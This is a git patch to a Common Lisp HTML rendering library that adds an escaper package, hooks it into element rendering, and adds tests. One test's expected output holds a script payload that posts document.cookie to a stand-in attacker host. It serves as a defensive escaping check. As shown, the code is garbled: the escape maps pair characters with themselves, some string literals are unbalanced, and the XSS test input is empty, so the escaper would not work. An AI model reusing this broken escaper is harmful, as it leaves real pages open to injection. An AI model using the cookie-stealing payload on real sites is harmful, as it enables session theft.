From 19c5e5a2c1b33f196f3aed406b3fc692a647830e Mon Sep 17 00:00:00 2001 From: paku Date: Fri, 31 May 2024 18:39:25 +0900 Subject: [PATCH] Add escaper package --- hsx-test.asd | 3 ++- src/element.lisp | 11 +++++++++-- src/escaper.lisp | 40 ++++++++++++++++++++++++++++++++++++++++ tests/escaper.lisp | 20 ++++++++++++++++++++ tests/renderer.lisp | 2 -- 5 files changed, 71 insertions(+), 5 deletions(-) create mode 100644 src/escaper.lisp create mode 100644 tests/escaper.lisp diff --git a/hsx-test.asd b/hsx-test.asd index 9ec115c..059ca5a 100644 --- a/hsx-test.asd +++ b/hsx-test.asd @@ -5,5 +5,6 @@ "hsx-test/element" "hsx-test/defhsx" "hsx-test/hsx" - "hsx-test/renderer") + "hsx-test/renderer" + "hsx-test/escaper") :perform (test-op (op c) (symbol-call :fiveam :run-all-tests))) diff --git a/src/element.lisp b/src/element.lisp index 65b10b4..31accf3 100644 --- a/src/element.lisp +++ b/src/element.lisp @@ -1,5 +1,8 @@ (defpackage #:hsx/element (:use #:cl) + (:import-from #:hsx/escaper + #:escape-html-attribute + #:escape-html-text-content) (:export #:element #:tag #:html-tag @@ -74,7 +77,11 @@ "~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_~:>") type-str (props->string props) - children + (mapcar (lambda (child) + (if (stringp child) + (escape-html-text-content child) + child)) + children) type-str) (format stream "<~a~a>" @@ -94,7 +101,7 @@ (format stream " ~a=\"~a\"" key-str - value)))))) + (escape-html-attribute value))))))) (defmethod print-object ((element html-tag) stream) (format stream "~%") diff --git a/src/escaper.lisp b/src/escaper.lisp new file mode 100644 index 0000000..f611a70 --- /dev/null +++ b/src/escaper.lisp @@ -0,0 +1,40 @@ +(defpackage #:hsx/escaper + (:use #:cl) + (:import-from #:alexandria + #:alist-hash-table) + (:export #:escape-html-attribute + #:escape-html-text-content)) +(in-package #:hsx/escaper) + +(defparameter *text-content-escape-map* + (alist-hash-table + '((#\& . "&") + (#\< . "<") + (#\> . ">") + (#\" . """) + (#\' . "'") + (#\/ . "/") + (#\` . "`") + (#\= . "=")))) + +(defparameter *attribute-escape-map* + (alist-hash-table + '((#\" . """)))) + +(defun escape-char (char escape-map) + (or (gethash char escape-map) + char)) + +(defun escape-string (string escape-map) + (if (stringp string) + (with-output-to-string (s) + (loop + :for c :across string + :do (write (escape-char c escape-map) :stream s :escape nil))) + string)) + +(defun escape-html-text-content (text) + (escape-string text *text-content-escape-map*)) + +(defun escape-html-attribute (text) + (escape-string text *attribute-escape-map*)) diff --git a/tests/escaper.lisp b/tests/escaper.lisp new file mode 100644 index 0000000..540211e --- /dev/null +++ b/tests/escaper.lisp @@ -0,0 +1,20 @@ +(defpackage #:hsx-test/escaper + (:use #:cl + #:fiveam + #:hsx/escaper)) +(in-package #:hsx-test/escaper) + +(def-suite escaper-test) +(in-suite escaper-test) + +(test escape-html-attribute + (is (equal ""foo"" + (escape-html-attribute "\"foo\"")))) + +(test escape-html-text-content + (is (string= "&<>"'/`=" + (escape-html-text-content "&<>\"'/`="))) + (is (string= + "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" + (escape-html-text-content + "" )))) diff --git a/tests/renderer.lisp b/tests/renderer.lisp index a3627e3..68ccf9e 100644 --- a/tests/renderer.lisp +++ b/tests/renderer.lisp @@ -65,5 +65,3 @@ (li "foo") frg (li "brah"))))))) - -;; TODO: Add escaping test